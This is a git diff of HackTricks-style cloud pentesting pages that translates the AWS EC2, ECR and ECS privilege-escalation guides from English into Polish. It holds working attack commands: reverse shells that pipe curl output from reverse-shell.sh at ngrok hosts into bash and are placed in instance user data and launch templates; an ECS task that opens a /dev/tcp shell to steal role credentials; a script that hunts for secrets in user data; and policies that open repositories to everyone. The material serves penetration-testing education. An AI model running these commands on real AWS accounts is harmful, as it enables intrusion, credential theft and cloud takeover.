a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index ad31bde00..4907dfa29 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -For more **info about EC2** check: +Aby uzyskać więcej **informacji o EC2**, sprawdź: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,51 +12,46 @@ For more **info about EC2** check: ### `iam:PassRole`, `ec2:RunInstances` -An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. +Napastnik mógłby **utworzyć instancję, przypisując rolę IAM, a następnie uzyskać dostęp do instancji**, aby ukraść dane uwierzytelniające roli IAM z punktu końcowego metadanych. -- **Access via SSH** - -Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). +- **Dostęp przez SSH** +Uruchom nową instancję, używając **utworzonego** **klucza ssh** (`--key-name`), a następnie zaloguj się do niej przez ssh (jeśli chcesz utworzyć nowy, możesz potrzebować uprawnienia `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name= --key-name \ - --security-group-ids +--iam-instance-profile Name= --key-name \ +--security-group-ids ``` +- **Dostęp przez rev shell w danych użytkownika** -- **Access via rev shell in user data** - -You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way. - +Możesz uruchomić nową instancję używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name=E \ - --count 1 \ - --user-data "file:///tmp/rev.sh" +--iam-instance-profile Name=E \ +--count 1 \ +--user-data "file:///tmp/rev.sh" ``` - -Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: +Bądź ostrożny z GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles. +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli EC2 przypisanej do istniejących profili instancji. -#### Privesc to ECS - -With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +#### Privesc do ECS +Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**. ```bash aws ec2 run-instances \ - --image-id ami-07fde2ae86109a2af \ - --instance-type t2.micro \ - --iam-instance-profile \ - --count 1 --key-name pwned \ - --user-data "file:///tmp/asd.sh" +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access @@ -64,22 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` - -To learn how to **force ECS services to be run** in this new EC2 instance check: +Aby nauczyć się, jak **wymusić uruchomienie usług ECS** na tej nowej instancji EC2, sprawdź: {{#ref}} aws-ecs-privesc.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienia `ecs:RegisterContainerInstance`, możesz być w stanie zarejestrować instancję w klastrze i przeprowadzić skomentowany atak. -**Potential Impact:** Direct privesc to ECS roles attached to tasks. +**Potencjalny wpływ:** Bezpośrednie privesc do ról ECS przypisanych do zadań. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. - +Podobnie jak w poprzednim scenariuszu, atakujący z tymi uprawnieniami mógłby **zmienić rolę IAM skompromitowanej instancji**, aby mógł ukraść nowe poświadczenia.\ +Ponieważ profil instancji może mieć tylko 1 rolę, jeśli profil instancji **już ma rolę** (typowy przypadek), będziesz również potrzebować **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **profil instancji bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **profilu instancji** (jak wcześniej omówiono) i **przypisać profil instancji** skompromitowanej do skompromitowanej i**nstancji:** -If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** - -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* - +- Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. - -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji powiązanego z instancją, więc jeśli atakujący miał już dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról profilu instancji, zmieniając ten, który jest z nią powiązany. +- Jeśli **ma profil instancji**, możesz **usunąć** profil instancji (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* - +- lub **zamień** **profil instancji** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji). ### `ec2:RequestSpotInstances`,`iam:PassRole` -An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ -Once the instance is run, he can **steal the IAM role**. - +Atakujący z uprawnieniami **`ec2:RequestSpotInstances` i `iam:PassRole`** może **zażądać** **Spot Instance** z **przypisaną rolą EC2** i **rev shellem** w **danych użytkownika**.\ +Gdy instancja zostanie uruchomiona, może **ukraść rolę IAM**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ - --instance-count 1 \ - --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` - ### `ec2:ModifyInstanceAttribute` -An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**. - -Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**. +Atakujący z **`ec2:ModifyInstanceAttribute`** może modyfikować atrybuty instancji. Wśród nich może **zmienić dane użytkownika**, co oznacza, że może sprawić, że instancja **uruchomi dowolne dane.** Może to być użyte do uzyskania **rev shell do instancji EC2**. +Należy zauważyć, że atrybuty mogą być **modyfikowane tylko wtedy, gdy instancja jest zatrzymana**, więc **uprawnienia** **`ec2:StopInstances`** i **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ - --instance-id="$INSTANCE_ID" \ - --attribute userData \ - --value file://$TEXT_PATH +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` - -**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance. +**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli IAM EC2 przypisanej do utworzonej instancji. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. - +Napastnik z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem w** **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **jakakolwiek grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 create-launch-template-version \ - --launch-template-name bad_template \ - --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" aws ec2 modify-launch-template \ - --launch-template-name bad_template \ - --default-version 2 +--launch-template-name bad_template \ +--default-version 2 ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**. - +Napastnik z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchamiania** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ - --launch-configuration-name bad_config \ - --image-id ami-0c1bc246476a5572b \ - --instance-type t3.micro \ - --iam-instance-profile EC2-CloudWatch-Agent-Role \ - --user-data "$REV" +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ - --auto-scaling-group-name bad_auto \ - --min-size 1 --max-size 1 \ - --launch-configuration-name bad_config \ - --desired-capacity 1 \ - --vpc-zone-identifier "subnet-e282f9b8" +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" ``` - -**Potential Impact:** Direct privesc to a different EC2 role. +**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2. ### `!autoscaling` -The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). +Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do eskalacji** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym privesc). ### `ec2-instance-connect:SendSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges. - +Atakujący z uprawnieniem **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go do uzyskania dostępu (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień. ```bash aws ec2-instance-connect send-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --instance-os-user "ec2-user" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances. +**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**. - -In order to connect to the serial port you also **need to know the username and password of a user** inside the machine. +Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`, aby go włączyć**. +Aby połączyć się z portem szeregowym, musisz również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny. ```bash aws ec2 enable-serial-console-access aws ec2-instance-connect send-serial-console-ssh-public-key \ - --instance-id "$INSTANCE_ID" \ - --serial-port 0 \ - --region "eu-west-1" \ - --ssh-public-key "file://$PUBK_PATH" +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` +Ten sposób nie jest zbyt przydatny do privesc, ponieważ musisz znać nazwę użytkownika i hasło, aby go wykorzystać. -This way isn't that useful to privesc as you need to know a username and password to exploit it. - -**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances. +**Potencjalny wpływ:** (Bardzo trudny do udowodnienia) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji. ### `describe-launch-templates`,`describe-launch-template-versions` -Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates: - +Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby je wykorzystać do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do - echo "[*] Analyzing $i" - aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata - do - echo "VersionNumber: $version" - echo "$userdata" | base64 -d - echo - done | grep -iE "aws_|password|token|api" +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" done ``` +W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), możesz użyć innego wyrażenia regularnego, aby wyszukiwać inne rodzaje wrażliwych informacji. -In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. +Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, możemy użyć tych poświadczeń do uwierzytelnienia w AWS. -Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS. +**Potencjalny wpływ:** Bezpośrednia eskalacja uprawnień do użytkownika IAM. -**Potential Impact:** Direct privilege escalation to IAM user(s). - -## References +## Referencje - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index fd4686edb..81c7ae16a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,21 +6,21 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images. +Atakujący z **`ecr:GetAuthorizationToken`** i **`ecr:BatchGetImage`** może zalogować się do ECR i pobrać obrazy. -For more info on how to download images: +Aby uzyskać więcej informacji na temat pobierania obrazów: {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Potencjalny wpływ:** Pośrednie podniesienie uprawnień poprzez przechwycenie wrażliwych informacji w ruchu. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used. +Atakujący z wszystkimi tymi uprawnieniami **może zalogować się do ECR i przesłać obrazy**. Może to być przydatne do podniesienia uprawnień w innych środowiskach, w których te obrazy są używane. -To learn how to upload a new image/update one, check: +Aby dowiedzieć się, jak przesłać nowy obraz/aktualizować istniejący, sprawdź: {{#ref}} ../aws-services/aws-eks-enum.md @@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Like the previous section, but for public repositories. +Jak w poprzedniej sekcji, ale dla publicznych repozytoriów. ### `ecr:SetRepositoryPolicy` -An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\ -For example, in this example read access is given to everyone. - +Atakujący z tym uprawnieniem mógłby **zmienić** **politykę** **repozytorium**, aby przyznać sobie (lub nawet wszystkim) **dostęp do odczytu/zapisu**.\ +Na przykład, w tym przykładzie dostęp do odczytu jest przyznawany wszystkim. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - -Contents of `my-policy.json`: - +Zawartość `my-policy.json`: ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "allow public pull", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - ### `ecr-public:SetRepositoryPolicy` -Like the previoous section, but for public repositories.\ -An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges. - +Podobnie jak w poprzedniej sekcji, ale dla publicznych repozytoriów.\ +Atakujący może **zmodyfikować politykę repozytorium** publicznego repozytorium ECR, aby przyznać nieautoryzowany dostęp publiczny lub w celu eskalacji swoich uprawnień. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "MaliciousPublicRepoPolicy", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr-public:GetDownloadUrlForLayer", - "ecr-public:BatchGetImage", - "ecr-public:BatchCheckLayerAvailability", - "ecr-public:PutImage", - "ecr-public:InitiateLayerUpload", - "ecr-public:UploadLayerPart", - "ecr-public:CompleteLayerUpload", - "ecr-public:DeleteRepositoryPolicy" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` - -**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images. +**Potencjalny wpływ**: Nieautoryzowany publiczny dostęp do repozytorium ECR Public, umożliwiający każdemu użytkownikowi przesyłanie, pobieranie lub usuwanie obrazów. ### `ecr:PutRegistryPolicy` -An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**. - +Napastnik z tym uprawnieniem mógłby **zmienić** **politykę rejestru**, aby przyznać sobie, swojemu kontu (lub nawet wszystkim) **dostęp do odczytu/zapisu**. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 4988270ab..92b91c445 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +Więcej **informacji o ECS** w: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,185 +12,173 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**. - +Napastnik nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to a different ECS role. +**Potencjalny wpływ:** Bezpośrednie privesc do innej roli ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\ -However, in this case, a container instance to run the malicious task definition need to be. - +Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**.\ +Jednak w tym przypadku, instancja kontenera do uruchomienia złośliwej definicji zadania musi być. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ - --container-instances +--container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.** - +Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień 